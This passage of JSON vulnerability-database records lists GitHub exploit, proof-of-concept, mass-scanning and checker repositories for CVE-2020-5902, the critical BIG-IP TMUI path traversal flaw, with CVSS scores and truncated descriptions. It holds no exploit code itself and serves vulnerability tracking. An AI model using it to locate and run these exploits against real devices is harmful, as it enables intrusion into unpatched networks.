"2021-04-13T06:48:20", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-04-20T16:15:53", "id": "A8BE443F-B43C-5460-9DBF-0E7C65078EF2", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:33:32", "description": "## CVE-2020-5902-RCE-Big\u6f0f\u6d1e\u5229\u7528\u5de5\u5177GUI\u7248v1.0\n\n#### \u5de5\u5177\u4f7f\u7528\u8bf4\u660e\n\u547d\u4ee4\u6267\u884c\u7b2c\u5730\u65b9\uff0c\u5982\u679c\u7b2c\u4e00...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-17T03:13:30", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-01-08T00:17:22", "id": "8CBB7F58-891D-5105-B269-029C59A9C3C9", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:33:37", "description": "# CVE-2020-5902\n\n## Summary\nIn BIG-IP versions 15.0.0-15.1.0.3, ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-08T16:22:53", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-16T16:16:40", "id": "4B25D88E-3B3F-5756-B942-7244492EB7F4", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:33:49", "description": "NMAP script for F5 BIG-IP \"TM...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-12T14:37:25", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-12T14:40:28", "id": "4C03A6F0-84D7-565A-B0D8-DE45D804A835", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-06-15T21:46:44", "description": "# F5-Big-IP-CVE-2020-5902-mass...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-09T08:34:37", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-06-15T19:57:55", "id": "28F1E5F0-F489-559C-A1C3-C14BC0D51B93", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:34:45", "description": "# I am not responsible for any damage caused by thi...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T21:43:11", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-18T04:08:12", "id": "63D5015A-CD15-54CF-A1CB-67AEEEFFB789", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:34:49", "description": "# CVE-2020-590...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T07:49:23", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-10T07:54:22", "id": "EA2EA382-C5B7-54EF-8547-EDDD15EA1B85", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-05-13T04:20:08", "description": "# Checker CVE-2020-5902\n\n[![Python 3.7](https://img.shields.io/b...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T07:00:35", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-05-12T17:04:34", "id": "4577EA1C-992F-5AA5-86B6-9749FBDFC45D", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:00", "description": "### CVE-2020-5902-fofa-scan\n\n##### \u4ecb\u7ecd\n\nF5 BIG-IP...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-09T07:44:07", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-05-21T13:50:04", "id": "EE2763B9-CDEA-5FAF-91CF-8B6902DD2E56", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:37", "description": "### CVE-2020-5902-fofa-scan\n\n##### \u4ecb\u7ecd\n\nF5 BIG-IP...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-12T07:49:18", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-04-11T14:53:19", "id": "26F1DC1C-5D5D-5D8B-8DDB-890968225F0B", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:36:10", "description": "# checkvulnCVE20205902\nA powershell script to c...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-08T21:50:32", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-04-04T00:01:08", "id": "D07D56B4-40BB-511F-B7EA-EF5B1544D876", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:41", "description": "# CVE-2020-5902\nPython script to check CVE-2020-5902 (F5 BIG-IP ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T14:41:29", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T12:48:34", "id": "5B55C912-08F2-542D-B6F4-EE8AF664AEAC", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:46", "description": "# CVE-2020-5902-F5BIG\n`Just Run Command like \ud83d\udc47`...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-07T05:32:46", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-07T05:54:24", "id": "9FE15986-BAC9-5740-8189-23E26F8399D5", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:46", "description": "# cve-2020-5902\ncve-2020-5902 POC exploit\n\n```bash\nPOC CVE-2020-...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T05:11:37", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-03-23T10:36:40", "id": "A423A009-0EEA-569D-AFFE-89EC01F7CDF7", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:36:02", "description": "## BIP-IP (TMUI) Scanner - CVE-2020-5902\nScript will run checks...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T06:58:29", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, 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"id": "E2C6B714-1F75-5584-B0B3-280C3B36C014", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:35:35", "description": "# GoF5-CVE-2020-5902\nUtilidad Open-Source para validar la ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-09T06:09:39", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, 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"privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-08T04:02:07", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-07-18T20:15:56", "id": "0FE94331-DF7E-5791-BE22-DD1DF78E5A3C", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T23:36:48", "description": "# CVE-2020-5902\nProof of Concept for CVE-2020-5902\n\n## Blog Post...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-05T18:29:37", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-09-05T23:07:17", "id": "A1FEA8E3-60B5-5828-A65B-98AA56545D78", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-26T05:23:52", "description": "# CVE-2020-5902 (F5 BIG-IP devices)\n\n\n## Summary: \nA Zeek detec...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": 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15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 1...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-05T17:01:27", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": 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"attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T04:03:58", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": 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"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-09T04:38:49", "id": "66506397-D518-518F-B4A6-3C3F99602E30", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-29T01:00:23", "description": "# CVE-2020-5902-Scanner\nAutomated script for F5 BIG-IP scanner (...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-05T06:19:09", "type": "githubexploit", "title": "Exploit for Path Traversal in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", 